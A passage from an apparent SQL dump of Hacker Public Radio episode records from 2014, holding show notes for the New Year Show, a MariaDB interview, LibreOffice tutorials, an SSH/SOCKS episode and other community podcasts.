Font\r\n</li>\r\n<li>SndChaser installs Open Dyslexic extension in chromium\r\n</li>\r\n<li>Pokey looks at the Open Dyslexic website and is able to read the page very quickly (quickly for pokey anyway), goes ahead and tries to install the font on Mint\r\n</li>\r\n<li><br/>\r\n</li>\r\n</ul>\r\n',159,121,1,'CC-BY-SA','ORCA,FocusWriter,DarkTable,LightZone,GIMP,Sound Converter,Maelstrom,TuxPaint,mtpaint,Jitsi,kid3,EasyTag,Audacity,gPodder,PuddleTag,avidemux,OpenShot,EtherPad,WordPress,Abiword,gnumeric,LibreOffice',0,1672,1),
(1419,'2014-01-09','2013-2014 HPR New Year Show Part 4 2014-01-01T04:00:00Z to 2014-01-01T10:00:00Z',18739,'New Year Show 2014, part 4','<h2>2014-01-01T04:00:00Z</h2>\r\n<ul>\r\n<li>Greetings to some regions of Canada and 26 more&nbsp; La Paz, San Juan, Santo Domingo, Halifax, followed by a short reminder of the ORCA fundraiser.\r\n</li>\r\n<li>Gun talk with Pokey, 5150 &amp; Broam: <a href=\"https://www.thefirearmblog.com/blog/2011/02/17/izhmash-%D0%BA%D1%80-22-nagant-revolver-carbine-in-22-lr/\">https://www.thefirearmblog.com/blog/2011/02/17/izhmash-%D0%BA%D1%80-22-nagant-revolver-carbine-in-22-lr/</a>\r\n</li>\r\n<li><a href=\"https://en.wikipedia.org/wiki/Nagant_M1895\">https://en.wikipedia.org/wiki/Nagant_M1895</a>\r\n</li>\r\n<li>Pokey mentions Hickok45 videos on youtube.com for a demo of the gas that escapes from a gun\r\n</li>\r\n<li>Greybeard: <a href=\"https://en.wikipedia.org/wiki/7.62%C3%9738mmR\">https://en.wikipedia.org/wiki/7.62%C3%9738mmR</a>\r\n</li>\r\n<li><br/>\r\n</li>\r\n</ul>\r\n<h2>2014-01-01T04:30:00Z</h2>\r\n<ul>\r\n<li>Greetings to Venezuela Caracas, Barquisimeto, Maracaibo, Maracay, followed by a short reminder of the ORCA fundraiser.\r\n</li>\r\n<li>More gun talk: Broam, Pokey, FiftyOneFifty, Greybeard, FlyingRich...(yawn)\r\n</li>\r\n<li>\"Only Accurate Guns are Interesting\" - Col. Townsend Whelen\r\n</li>\r\n</ul>\r\n<h2>2014-01-01T05:00:00Z</h2>\r\n<ul>\r\n<li>Greetings to the eastern region of U.S.A., regions of Canada and 12 more&nbsp; New York, Boston, Rochester, Marriland, Washington D.C., 20,000 feet over Florida, Washington DC, Detroit, Havana, followed by a short reminder of the ORCA fundraiser.\r\n</li>\r\n<li>5150: OCPLive is probably going to happen this year.&nbsp; No official location.&nbsp; Sounds like plans are going to be hammered out in the near future.\r\n</li>\r\n<li>5150: Canonical to charge Mint for repository access?&nbsp; Appears to originate from this: <a href=\"https://distrowatch.com/weekly.php?issue=20131209#qa\">https://distrowatch.com/weekly.php?issue=20131209#qa</a>\r\n</li>\r\n<li>Underrunner: Synchronized christmas lights\r\n</li>\r\n<li>Peter64 regales us with his tale of how he electrocuted himself with christmas lights\r\n</li>\r\n</ul>\r\n<h2>2014-01-01T06:00:00Z</h2>\r\n<ul>\r\n<li>Greetings to the midwest region of U.S.A., some regions of Canada and 8 more&nbsp; Mexico City, Chicago, Guatemala, Dallas, followed by a short reminder of the ORCA fundraiser.\r\n</li>\r\n<li>General and random chaos conversation - this is turning into a jumbled, mixed up, and fun conversation\r\n</li>\r\n<li>General pissing match about the Affordable Care Act / Obama Care.\r\n</li>\r\n<li>Food conversation inlcuding the Aussie version of the Turducken\r\n</li>\r\n<li>..and back to gun talk &amp; hunting\r\n</li>\r\n<li>Peter64\'s gun: <a href=\"https://bazar.hunting-shop.cz/detailni_foto.php?id_inzeratu=5887&id_obrazku=0\">https://bazar.hunting-shop.cz/detailni_foto.php?id_inzeratu=5887&amp;id_obrazku=0</a>&nbsp;\r\n</li>\r\n<li><a href=\"https://usedguns.com.au/Product.aspx?p=2070\">https://usedguns.com.au/Product.aspx?p=2070</a>\r\n</li>\r\n<li>Talk about coyote\r\n</li>\r\n</ul>\r\n<h2>2014-01-01T07:00:00Z</h2>\r\n<ul>\r\n<li>Greetings to the mountain&nbsp; region of U.S.A., some regions of Canada and 1 more Calgary, Denver, Edmonton, Phoenix, followed by a short reminder of the ORCA fundraiser.\r\n</li>\r\n<li>JonDoe, Discusses an upcomming show on goodwill computing\r\n</li>\r\n<li>Vellman Amp: <a href=\"https://www.vellemanusa.com/products/list/?country=us&lang=enu&id=523008\">https://www.vellemanusa.com/products/list/?country=us&amp;lang=enu&amp;id=523008</a> and <a href=\"https://www.vellemanusa.com/products/view/?id=350535\">https://www.vellemanusa.com/products/view/?id=350535</a>\r\n</li>\r\n<li><a href=\"https://www.active123.com/RASPBERRY-PI-Prodlist.html\">https://www.active123.com/RASPBERRY-PI-Prodlist.html</a>\r\n</li>\r\n<li>Xbeamc <a href=\"https://xbeammc.com/\">https://xbeammc.com/</a>&nbsp;\r\n</li>\r\n<li>Ken forgot to mention in the community news that the maillist is on gmane news server <a href=\"https://blog.gmane.org/gmane.network.syndication.podcast.hacker-public-radio\">https://blog.gmane.org/gmane.network.syndication.podcast.hacker-public-radio</a>\r\n</li>\r\n<li>JonDoe mentions&nbsp;\r\n<ul>\r\n<li><a href=\"https://www.indiegogo.com/projects/rachel-remote-area-community-hotspot-for-education-and-learning\">https://www.indiegogo.com/projects/rachel-remote-area-community-hotspot-for-education-and-learning</a>,&nbsp;\r\n</li>\r\n<li><a href=\"https://pi.worldpossible.org/howto.html\">https://pi.worldpossible.org/howto.html</a>,&nbsp;\r\n</li>\r\n<li><a href=\"https://worldpossible.org/rachel\">https://worldpossible.org/rachel</a>\r\n</li>\r\n</ul>\r\n</li>\r\n<li>Ken is reminded of the <a href=\"https://en.wikipedia.org/wiki/PirateBox\">https://en.wikipedia.org/wiki/PirateBox</a>\r\n</li>\r\n</ul>\r\n<h2>2014-01-01T08:00:00Z</h2>\r\n<ul>\r\n<li>Greetings to the western region of U.S.A., some regions of Canada and 2 more&nbsp; Los Angeles, San Francisco, Las Vegas, Seattle, followed by a short reminder of the ORCA fundraiser.\r\n</li>\r\n<li>JonDoe enlightens us as to the wikipedia school site <a href=\"https://schools-wikipedia.org/\">https://schools-wikipedia.org/</a>\r\n</li>\r\n<li>A free world-class education for anyone anywhere <a href=\"https://www.khanacademy.org/\">https://www.khanacademy.org/</a>\r\n</li>\r\n<li>Discussion continues on to providing access over wireless technologies\r\n</li>\r\n<li>JonDoe talks about how he owes klaatu a show on stelth van\r\n</li>\r\n<li>Ken suggests keeping a HPR notebook for keeping notes on show ideas\r\n</li>\r\n<li>JonDoe <a href=\"https://en.wikipedia.org/wiki/Integrated_Digital_Enhanced_Network\">https://en.wikipedia.org/wiki/Integrated_Digital_Enhanced_Network</a>\r\n</li>\r\n<li>Keep you\'re eye out for this device for a ups <a href=\"https://digital-diy.com/forum/product-announcements/a-wolf-in-sheep-s-clothing-useful-power-supply-from-rs-t2811.html\">https://digital-diy.com/forum/product-announcements/a-wolf-in-sheep-s-clothing-useful-power-supply-from-rs-t2811.html</a>\r\n</li>\r\n<li>Gel and AGM battery discussion <a href=\"https://en.wikipedia.org/wiki/VRLA_battery\">https://en.wikipedia.org/wiki/VRLA_battery</a>\r\n</li>\r\n<li>Vape Safe Fuse - possible other uses: <a href=\"https://www.gotvapes.com/index.php?main_page=product_info&products_id=1091\">https://www.gotvapes.com/index.php?main_page=product_info&amp;products_id=1091</a>\r\n</li>\r\n</ul>\r\n<h2>2014-01-01T09:00:00Z</h2>\r\n<ul>\r\n<li>Greetings to Alaska/U.S.A. and French Polynesia&nbsp; Anchorage, Fairbanks, Unalaska, Juneau, followed by a short reminder of the ORCA fundraiser.\r\n</li>\r\n<li>JonDoe Recipe: Equal parts Southern Comfort &amp; Butter - add pork chops - caramel porkchops\r\n</li>\r\n<li>Cobra2 Recipe: Fowl (chicker, turkey, etc) covered with real mayo, salt &amp; pepper, sear, cook normally.\r\n</li>\r\n</ul>\r\n<h2>2014-01-01T09:30:00Z</h2>\r\n<ul>\r\n<li>Greetings to Marquesas Islands/France&nbsp; Taiohae, followed by a short reminder of the ORCA fundraiser.\r\n</li>\r\n<li>BitCoin and transaction validation\r\n</li>\r\n<li>TorNetwork\r\n</li>\r\n<li>HPR &amp; BitTorrent / Magnet Links / Archive.org - Contributor RSS feeds to allow grabbing all episodes from specific contributors\r\n</li>\r\n<li><br/>\r\n</li>\r\n</ul>\r\n',159,121,1,'CC-BY-SA','New Year,2014',0,1377,1),
(1420,'2014-01-10','2013-2014 HPR New Year Show Part 5 2014-01-01T10:00:00Z to 2014-01-01T12:00:00Z',6699,'New Year Show 2014, part 5','<h2>2014-01-01T10:00:00Z</h2>\r\n<ul>\r\n<li>Greetings to small region of U.S.A. and 2 more Honolulu, Rarotonga, Adak, Papeete, followed by a short reminder of the ORCA fundraiser.\r\n</li>\r\n<li><a href=\"https://archive.org/donate/\">https://archive.org/donate/</a>\r\n</li>\r\n<li><a href=\"https://theacf.co/\">https://theacf.co/</a>\r\n</li>\r\n<li>Can a short url be thought of as time based\r\n<ul>\r\n<li>I maintain that in it\'s current likely implementations that it is not.&nbsp; Especially since it is likely that the storage uses a 1 original URL to many shortened URLs.&nbsp; However, I would think it would be possible to implement as a hashed function given the rights seeds.\r\n</li>\r\n</ul>\r\n</li>\r\n<li>KuraKura: questions about using mumble.\r\n</li>\r\n<li>General conversation\r\n</li>\r\n<li>Discussion about Orca and handling integration with various software packages.&nbsp; Ken wants to motivate the HPR community to explore the issues that exist, and talk with developers from application projects about improving their orca integration.\r\n<ul>\r\n<li>JonDoe mentions that there might be dependencies and / or regressions that occur as changes are made due to hacks / workarounds that currently exist (both in orca and applications)\r\n</li>\r\n</ul>\r\n</li>\r\n<li><a href=\"https://en.wikipedia.org/wiki/NonVisual_Desktop_Access\">https://en.wikipedia.org/wiki/NonVisual_Desktop_Access</a>\r\n</li>\r\n</ul>\r\n<h2>2014-01-01T11:00:00Z</h2>\r\n<ul>\r\n<li>Greetings to American Samoa, Midway Atoll/U.S.A. and 1 more&nbsp; Alofi, Midway, Pago Pago, followed by a short reminder of the ORCA fundraiser.\r\n</li>\r\n<li>Are Imperial Measurements outdated? <a href=\"https://www.youtube.com/watch?v=r7x-RGfd0Yk\">https://www.youtube.com/watch?v=r7x-RGfd0Yk</a>\r\n</li>\r\n<li>Would someone do an HPR show on conversion / relationship between celsiu and farhenheit?&nbsp; Ken really wants to understand the conversion and why the difference. kaithx\r\n</li>\r\n<li>Pokey doesn\'t like single port audio jack for headset and microphon\r\n</li>\r\n<li>Jonathan Nadeau talks about the frustration blind users can have typing on a touch phone/tablet.&nbsp;\r\n</li>\r\n<li>Keyboard designed for mechanical overlap:&nbsp;\r\n<ul>\r\n<li><a href=\"https://www.straightdope.com/columns/read/221/was-the-qwerty-keyboard-purposely-designed-to-slow-typists\">https://www.straightdope.com/columns/read/221/was-the-qwerty-keyboard-purposely-designed-to-slow-typists</a>\r\n</li>\r\n<li><a href=\"https://en.wikipedia.org/wiki/Dvorak_Simplified_Keyboard\">https://en.wikipedia.org/wiki/Dvorak_Simplified_Keyboard</a>\r\n</li>\r\n</ul>\r\n</li>\r\n<li>Popey discusses the Mint / Canonical repsoitory / binary package issue.&nbsp; Popey expresses his own opinion, and not in any way an official statement from Canonical.\r\n</li>\r\n</ul>\r\n<h2>2014-01-01T12:00:00Z</h2>\r\n<ul>\r\n<li>Greetings to small region of U.S.A.&nbsp; Baker Island, Howland Island, followed by a short reminder of the ORCA fundraiser.\r\n</li>\r\n<li>The End !\r\n</li>\r\n<li>SndChaser plays <a href=\"https://en.wikipedia.org/wiki/Auld_Lang_Syne\">https://en.wikipedia.org/wiki/Auld_Lang_Syne</a>\r\n</li>\r\n</ul>\r\n<p>\r\nShould auld acquaintance be forgot,<br>\r\nand never brought to mind?<br>\r\nShould auld acquaintance be forgot,<br>\r\nand auld lang syne*?</p>\r\n\r\n<p>CHORUS</p>\r\n<p>\r\nFor auld lang syne, my jo,<br>\r\nfor auld lang syne,<br>\r\nwe’ll tak a cup o’ kindness yet,<br>\r\nfor auld lang syne.</p>\r\n\r\n<p>And surely ye’ll be your pint-stowp!<br>\r\nand surely I’ll be mine!<br>\r\nAnd we’ll tak a cup o’ kindness yet,<br>\r\nfor auld lang syne.</p>\r\n\r\n<p>CHORUS</p>\r\n<p>We twa hae run about the braes,<br>\r\nand pu’d the gowans fine;<br>\r\nBut we’ve wander’d mony a weary fit,<br>\r\nsin auld lang syne.</p>\r\n\r\n<p>CHORUS</p>\r\n<p>We twa hae paidl’d i\' the burn,<br>\r\nfrae morning sun till dine;<br>\r\nBut seas between us braid hae roar’d<br>\r\nsin auld lang syne.</p>\r\n\r\n<p>CHORUS</p>\r\n<p>And there’s a hand, my trusty fiere!<br>\r\nand gie\'s a hand o’ thine!<br>\r\nAnd we’ll tak a right gude-willy waught,<br>\r\nfor auld lang syne.</p>\r\n\r\n<p>CHORUS</p>\r\n<p>',159,121,1,'CC-BY-SA','New Year,2014',0,1419,1),
(1423,'2014-01-15','Monty - The man behind your databases',843,'Tune in to today\'s episode of #HPR and hear Monty talk about YOUR database!','<p>Listen to the man who created the database YOU use every day, today on Hacker Public Radio.</p>\n <p><em>\"There\'s no reasons to use MySQL anymore.\"</em><br /> -- Monty</p>\n <h3>Michael Widenius at FSCONS 2013</h3>\n <p>A couple of months ago I attended FSCONS 2013. There I met Michael \"Monty\" Widenius, the driving force behind both MySQL and MariaDB. This is a guy who loves being a developer and he loves Open Source software. He named MySQL after his daughter My, and the new fork MariaDB got its name from his other daughter Maria.</p>\n <p>Monty was invited to FSCONS 2013 to give a speech entitled \"The MySQL and MariaDB story\", and the synopsis on fscons.org says:</p>\n <blockquote>\"The story of how MySQL was created, why it was successful and how it grew until it was sold to Sun, who was then overtaken by Oracle.<br /> It will also cover how and why MariaDB was created and what we are doing to ensure that there will always be a free version of MySQL (under the name of MariaDB).<br /> The talk will also explain the challenges we have had to do this fork, especially the merge with MySQL 5.5, and the various systems (like buildbot) that we used to build the binaries and how we are working with the MariaDB/MySQL community.\"<br />\n </blockquote> -- <a href=\"https://frab.fscons.org/en/fscons13/public/events/51\">https://frab.fscons.org/en/fscons13/public/events/51</a><p>That presentation can be found on YouTube, and I encourage you all to have a look at it. \"Michael Monty Widenius: The MySQL and MariaDB story\": <a href=\"https://youtu.be/JxyBNdwmpzM\">https://youtu.be/JxyBNdwmpzM</a><br />\n </p>\n <p>If you have not yet made the switch to MariaDB, now is the time!</p>\n <p>Monty also asks everyone who uses MariaDB to activate the anonymous plug-in, so that the developers might know what to focus their attention on.</p>\n <p>If you wish to look Monty in the eyes, you have the opportunity to do so, as this interview was video recorded and will be released on YouTube or similar. Follow All In IT Radio on Google+, Twitter and Identi.ca for updates on when that will be released.</p>\n <h3>Stuff referenced in the episode</h3>\n <ul>\n  <li>Wikipedia - Michael Widenius: <a href=\"https://en.wikipedia.org/wiki/Michael_Widenius\">https://en.wikipedia.org/wiki/Michael_Widenius</a></li>\n  <li>Wikipedia - MySQL: <a href=\"https://en.wikipedia.org/wiki/MySQL\">https://en.wikipedia.org/wiki/MySQL</a></li>\n  <li>MySQL: <a href=\"https://www.mysql.com/\">https://www.mysql.com/</a></li>\n  <li>Wikipedia - MariaDB: <a href=\"https://en.wikipedia.org/wiki/MariaDB\">https://en.wikipedia.org/wiki/MariaDB</a></li>\n  <li>MariaDB Foundation: <a href=\"https://mariadb.org/\">https://mariadb.org/</a></li>\n  <li>SkySQL: <a href=\"https://www.skysql.com/\">https://www.skysql.com/</a></li>\n </ul>\n <h3>How to reach me</h3>\n <p>You should follow me and subscribe to All In IT Radio:</p>\n <ul>\n  <li>Identi.ca: <a href=\"https://identi.ca/alltinomit\">@alltinomit</a></li>\n  <li>Twitter: <a href=\"https://twitter.com/alltinomit\">@alltinomit</a></li>\n  <li><a href=\"https://plus.google.com/100309783606985145580/\">https://aiit.se/radio/+</a></li>\n  <li><a href=\"https://aiit.se/radio/\">https://aiit.se/radio/</a></li>\n </ul>\n',192,0,0,'CC-BY-SA','fscons, monty, mysql, mariadb, oracle, interview',0,1555,1),
(1592,'2014-09-09','An Open Source News Break from Opensource.com',782,'Open source CMS, tools for making presentations, WikiProject Med','<p>In this episode: Open source CMS applications go head-to-head, open source tools for making presentations, and WikiProject Med.</p>\n <p>Links:</p>\n <ul>\n  <li><a href=\"https://opensource.com/business/14/6/open-source-cms-joomla-wordpress-drupal\">https://opensource.com/business/14/6/open-source-cms-joomla-wordpress-drupal</a></li>\n  <li><a href=\"https://opensource.com/life/14/7/3-open-source-tools-make-your-presentations-pop\">https://opensource.com/life/14/7/3-open-source-tools-make-your-presentations-pop</a></li>\n  <li><a href=\"https://opensource.com/health/14/6/doctors-unite-increase-access-quality-health-information\">https://opensource.com/health/14/6/doctors-unite-increase-access-quality-health-information</a></li>\n </ul>',280,28,0,'CC-BY-SA','CMS,presentation software,Wiki Project Med',0,0,1),
(1428,'2014-01-22','Coffee Stain Studios and the Sanctum games',757,'Will #Sanctum2 come to #Linux? Hear @ArminPosts\' answer in the latest #HPR!','<p>Do you know the Sanctum games? You should! Listen to Armin from Coffee Stain Studios on todays episode of Hacker Public Radio!</p>\n <p><em>\"We\'re actually working on Linux support. <strong>*pause*</strong> I don\'t know if I\'m supposed to say that.\"</em><br /> -- Armin</p>\n <h3>Coffee Stain Studios</h3>\n <p>In 2010 a few students from the University of Skövde created the Indie game developing company \"Coffee Stain Studios\". In 2011 they released the game \"Sanctum\" on Steam, and in May of 2013 they released \"Sanctum 2\". These games are most often described as a mix between First-person shooter and Tower defense. You find yourself in a futuristic setting, fighting aliens with a fair bit of humor. The player chooses how much resources to distribute on automatic towers or his or her own weapons. Both games featured the possibility to collaborate with your friends to beat the levels.</p>\n <p>One of the founders, Armin Ibrisagic, was at DreamHack in November 2013, where I got a chance to talk to him.</p>\n <h3>DreamHack</h3>\n <p>\"What is DreamHack?\" you ask? Only the world\'s largest computer festival, held multiple times a year in Jönköping, Sweden. According to Wikipedia \"It holds the world record (as recognized by the Guinness Book of Records and Twin Galaxies) for the world\'s largest LAN party and computer festival, and has held the record for the world\'s fastest Internet connection, and the record in most generated traffic.\"</p>\n <p>I also got an interview with one of the organizers of DreamHack, but that you will hear another day. Today we focus on Sanctum, and how the market looks for smaller game developers.</p>\n <h3>Stuff referenced in the episode</h3>\n <ul>\n  <li>Armin, Twitter: <a href=\"https://twitter.com/ArminPosts\">@ArminPosts</a></li>\n  <li>Coffee Stain Studios: <a href=\"https://www.coffeestainstudios.com/\">https://www.coffeestainstudios.com/</a></li>\n  <li>DreamHack: <a href=\"https://www.dreamhack.se/\">https://www.dreamhack.se/</a></li>\n  <li>Wikipedia - DreamHack: <a href=\"https://en.wikipedia.org/wiki/DreamHack\">https://en.wikipedia.org/wiki/DreamHack</a></li>\n  <li>Humble Bundle: <a href=\"https://www.humblebundle.com/\">https://www.humblebundle.com/</a></li>\n  <li>\"The Yogscast - Sanctum Part 1: A weird blend of FPS and Tower Defence\": <a href=\"https://youtu.be/K2ObESxQbPY\">https://youtu.be/K2ObESxQbPY</a></li>\n  <li>\"The Yogscast - Sanctum - Yogscave DLC\": <a href=\"https://youtu.be/bSah3PZkDHI\">https://youtu.be/bSah3PZkDHI</a></li>\n  <li>\"The Yogscast - Sanctum 2 - Maze Making 2.0\": <a href=\"https://youtu.be/3ifB7QGhO3k\">https://youtu.be/3ifB7QGhO3k</a></li>\n  <li>\"Steam: Sanctum\": <a href=\"https://store.steampowered.com/app/91600/\">https://store.steampowered.com/app/91600/</a></li>\n  <li>\"Steam: Sanctum 2\": <a href=\"https://store.steampowered.com/app/210770/\">https://store.steampowered.com/app/210770/</a></li>\n </ul>\n <h3>How to reach me</h3>\n <p>You should follow me and subscribe to All In IT Radio:</p>\n <ul>\n  <li>Identi.ca: <a href=\"https://identi.ca/alltinomit\">@alltinomit</a></li>\n  <li>Twitter: <a href=\"https://twitter.com/alltinomit\">@alltinomit</a></li>\n  <li><a href=\"https://plus.google.com/100309783606985145580/\">https://aiit.se/radio/+</a></li>\n  <li><a href=\"https://aiit.se/radio/\">https://aiit.se/radio/</a></li>\n </ul>\n',192,0,0,'CC-BY-SA','dreamhack, coffee stain studios, sanctum, games, indie, interview',0,1611,1),
(1422,'2014-01-14','Setting up and using SSH and SOCKS',1432,'Advice on setting up and using SSH and SOCKS proxy','<p>\r\nIn this episode I go through how I set up SSH and SOCKS.  This is very useful when you need to feel a bit more secure in your internet traffic and need to keep out of prying eyes.  I also go over some tools used to access your home network from a Windows computer.\r\n</p>\r\n<p>\r\nLinks:\r\n</p>\r\n\r\n<ul>\r\n<li>Klaatu\'s Show on SSH : <a href=\"https://gnuworldorder.info/audiophile/archive/season8/gnuWorldOrder_8x20.ogg\">https://gnuworldorder.info/audiophile/archive/season8/gnuWorldOrder_8x20.ogg</a>\r\n</li>\r\n<li>DynDNS : <a href=\"https://dyn.com/dns/\">https://dyn.com/dns/</a>\r\n</li>\r\n<li>DDClient : <a href=\"https://sourceforge.net/p/ddclient/wiki/Home/\">https://sourceforge.net/p/ddclient/wiki/Home/</a>\r\n</li>\r\n<li>Linksys E2500 : <a href=\"https://support.linksys.com/en-us/support/routers/E2500\">https://support.linksys.com/en-us/support/routers/E2500</a>\r\n</li>\r\n<li>PuTTy : <a href=\"https://www.putty.org/\">https://www.putty.org/</a>\r\n</li>\r\n<li>Portable Firefox : <a href=\"https://portableapps.com/apps/internet/firefox_portable\">https://portableapps.com/apps/internet/firefox_portable</a>\r\n</li>\r\n</ul>',252,0,0,'CC-BY-SA','SSH,SOCKS proxy,DynDNS,DDClient,PuTTy',0,1588,1),
(1445,'2014-02-14','22 - LibreOffice Writer Other Frame Styles',606,'This continues our look at frames by looking at frame styles for things other than text.','<p>\r\nThis continues our look at frames by looking at frame styles for things other than text.\r\n</p>\r\n\r\n<h1>LibreOffice Writer Other Frame Styles</h1>\r\n<p>In the previous tutorial we looked at using the frame style for text, which is not called the Text style, but the Frame style, which may be confusing. This is a very common use of frames, but there are others. To start the discussion, let’s get back to the basic concept of <em>objects</em>. LibreOffice is an object-oriented program and you should keep this in mind when dealing with this software.</p>\r\n<p>A piece of text can be an object, and it can contain other objects (paragraphs, sentences, words, characters), or it can be contained within other objects (section, chapter, document). In the case we are looking at, a frame is an object, which contains other objects, and is in turn contained within larger objects (page, section, document). Depending on the objects being contained, the frame styles can be different, and that is what we need to look at now.</p>\r\n<p>\r\nPlease see <a href=\"https://www.ahuka.com/?page_id=671\">https://www.ahuka.com/?page_id=671</a> for the rest of the article\r\n</p>',198,70,0,'CC-BY-SA','LibreOffice, Writer, Word Processing, Page Layout',0,1312,1),
(1465,'2014-03-14','24 - LibreOffice Writer A Brochure Project',1572,'This concludes our look at page layout by showing these techniques at use in creating a Tri-fold bro','<p>\r\nThe written version of this show can be found at <a href=\"https://www.ahuka.com/?page_id=676\">https://www.ahuka.com/?page_id=676</a>\r\nThe <a href=\"https://www.ahuka.com/?attachment_id=684\" rel=\"attachment wp-att-684\">European version</a> of the brochure.\r\nThe <a href=\"https://www.ahuka.com/?attachment_id=686\" rel=\"attachment wp-att-686\">American version</a> of the brochure.\r\n</p>',198,70,0,'CC-BY-SA','LibreOffice, Writer, Word Processing, Page Layout',0,1339,1),
(1475,'2014-03-28','25 - LibreOffice Calc What Is A Spreadsheet',820,'The origins and history of the spreadsheet','<h1>LibreOffice Calc: What is a Spreadsheet?</h1>\r\n<p>There are different ways to answer this question. Functionally, spreadsheets are a tool for mathematical calculations, but have branched out into related areas like data analysis. Some people even use them as a quick-and-dirty database tool. If you are in a financial profession of some kind you probably live in spreadsheets all day.</p>\r\n<p>Spreadsheets are original &#8220;killer app&#8221;. Early examples were implemented on mainframe computers in the 1960s, but the big step was the creation of&nbsp;<em>VisiCalc</em> for the Apple II in 1979, which was then ported to the IBM PC in 1981. VisiCalc set the conventions that guided all subsequent spreadsheets, and the essential methods have not changed since then. VisiCalc was called the first&nbsp;<em>killer app</em> because people would buy the computer just to run the program, and the usefulness of spreadsheets is what promoted the initial entry of personal computers into the corporate world, with all of the change that has caused.</p>\r\n<p> \r\nFor the remainder of this article please see <a href=\"https://www.ahuka.com/?page_id=699\">https://www.ahuka.com/?page_id=699</a>\r\n</p>',198,70,0,'CC-BY-SA','LibreOffice, Calc, Spreadsheet',0,1454,1),
(1455,'2014-02-28','23 - LibreOffice Writer Other Page Layout Options',952,'This continues our look at page layout by looking at ways to do this other than by using frames.','<h1>Other Page Layout Options</h1>\r\n<p>As we mentioned in beginning our look at Page Layout, you have some options other than just Page Styles and Frame Styles, useful though they are. So let’s spend a few moments looking at these other options and see how they work.</p>\r\n<h2>Tables</h2>\r\n<p>Tables can be a useful tool for more than just displaying tabular data. You can place different object in each cell of a table and so have some control over how things are laid out on the page. You could, for instance, place your sub-heads in a left-hand column, and the associated text in an adjoining column, which gives you the same effect as using the Marginalia style. And you can add pictures, charts, and other objects as well. You can even insert a table into a cell of another table to get more fine-grained control. In fact, in the days before Cascading Style Sheets and Javascript, tables were the primary way of laying out Web pages, though these days that is frowned upon, and in any case most Web pages are now created using some kind of CMS software like WordPress, or Drupal. The idea of using tables was more attractive when we realized you could turn-off the cell borders and make them invisible. Of course, in Writer documents that only works when they are printed. When opened on a computer the table borders are still visible, as indeed they would have to be for you to edit the document.</p>\r\n<p>\r\nFor the remainder of this article please see <a href=\"https://www.ahuka.com/?page_id=676\">https://www.ahuka.com/?page_id=676</a>\r\n</p>',198,70,0,'CC-BY-SA','LibreOffice, Writer, Word Processing, Page Layout',0,1325,1),
(1485,'2014-04-11','26 - LibreOffice Calc Cells',1275,'This episode looks at the fundamental unit of a spreadsheet, the cell, and introduces addressing and','<h1>LibreOffice Calc: Cells</h1>\r\n<p>All spreadsheets have the same basic structure, a table of rows and columns. Columns are headed up A, B, C, and so on. After Z, the next column is AA, then AB, AC, AD, and so on. The maximum number of columns is 1024. Rows are numbered 1,2,3 and so on, and the maximum number of rows is 1024*1024, or 1,048,576. At this time I am not aware of any plans to increase these numbers, though that could change if competitive pressures make it necessary.</p>\r\n<p>Where a row and column intersect, there is a&nbsp;<em>cell</em>, which is given the address of the column followed by the row, e.g. A1, but never 1A. This is very useful since you can use the contents of a cell in a calculation by simply using the cell address. For example, to add the value of cell B4 to the value in cell C3 and store it, you would write &#8220;=B4+C3&#8243; in the cell where you want to store the sum. Learning to use cell addresses is extremely important, so get in the habit of doing this at every opportunity.</p>\r\n<p>\r\nFor the rest of this article see <a href=\"https://www.ahuka.com/?page_id=706\">https://www.ahuka.com/?page_id=706</a>\r\n</p>',198,70,0,'CC-BY-SA','LibreOffice, Calc, Spreadsheet',0,1389,1),
(1424,'2014-01-16','ohmroep hpr live mini, 03-08-2013, Censorship and Hacking in the Netherlands',2620,'ohmroep hpr live mini, 03-08-2013, Censorship and Hacking in the netherlands','<p>Nido Media invades the Early Morning Show hosted by colleague host Brenno de Winter to talk about his talk on Censorship and Hacking in the Netherlands.</p>\n <p>We discuss the situation of Alberto Stegeman, who proved the lack of security on Schiphol by touching the plane of the Queen.</p>\n <p>Brenno\'s own adventures with the Dutch transportation card.</p>\n <p>Henk Krol showed a medical system\'s security, a system considered to be \"Top Notch Security\", hinged on a (shared) password consisting of 5 numbers.</p>\n <p>He also talks about the Dutch Responsible Disclosure procedure and what is wrong with it, including examples such as Hans Scheuder who found a flaw in Habbo Hotel.</p>\n <p>Ilyam saw his little brother and sister taken away by the Child Protection Services by accident and decided to film it and go public with it.</p>\n <p>Indigo - system for registering people immigrating to the netherlands. Contains markers like \"You are ready to be removed\".</p>\n <p>Russian Activist fled to the Netherlands after he was let out of jail. Here he got cought in a system named \'Indigo\' which is used by the immigration service. One of the flags this system can set on people is \'you are ready to be removed\'.</p>',214,0,1,'CC-BY-SA','OHMRoep HPR Live',0,1354,1),
(1426,'2014-01-20','A Visit to Reglue',971,'Reglue gives free Linux computers to under privileged children and their families','<p>\r\nRecycled Electronics and Gnu/Linux Used for Education. Reglue, in a nutshell, gives free Linux computers to under privileged children and their families. From their website:\r\n</p>\r\n<blockquote>\r\nAccording to our estimates and those of the Austin Independent School District, there are over 5000 Austin students who cannot afford a computer or Internet access. Reglue wants to reduce that number by as much as we can. Since 2005 we have provided 1102 disadvantaged Austin-area kids and their families a computer. These kids cannot grow and compete with their peers unless they have a computer and Reglue focuses on giving these kids the tools they need. \r\n</blockquote>\r\n<p>\r\n<a href=\"https://www.reglue.org/\">https://www.reglue.org/</a>\r\n</p>\r\n<p>\r\nTo find out more about Ken Starks - Find him on Google+\r\n</p>\r\n<p>\r\nKen\'s Blog <a href=\"https://linuxlock.blogspot.com/2009/08/let-their-eyes-be-opened.html\">https://linuxlock.blogspot.com/2009/08/let-their-eyes-be-opened.html</a>\r\n</p>',209,0,1,'CC-BY-SA','Linux, BBQ, Ken Starks, Taylor Texas, Helios Project, yummy',0,1397,1),
(1427,'2014-01-21','Decoding HPR1216 the easy way and a bit more',1450,'An alternative method of decoding audio containing Morse Code into text','<p>\r\nThis Episode is kind of a direct response to HPR1343 by Laindir, where he explains his awesome way to decode the morse code in HPR1216. For the fun of it, I start right out by digressing into a memory of mine. It is about how I tried to decode morse code telemetry from the AO-21 amateur radio satellite some 20 years ago by using a CBM-8032 computer. \r\n</p>\r\n<p>\r\nAfter that I reveal the easy way to decode HPR1216 by using the CW mode of the program FLDIGI. Along the way, I mention the use of \"monitors\" in pulse audio, which are selectable in pavucontrol as input sources for audio applications. This is an easy way to loop back sound output from other applications. This method also combines nicely with WEBSDR, web accessible software defined receivers, all over the world. These may be used if you want to throw some real world signals at FLDIGI to play with the different modes. For listening to amateur radio communication I recommend to start out with one of these modes: CW (morse telegraphy), PSK &gt; BPSK31 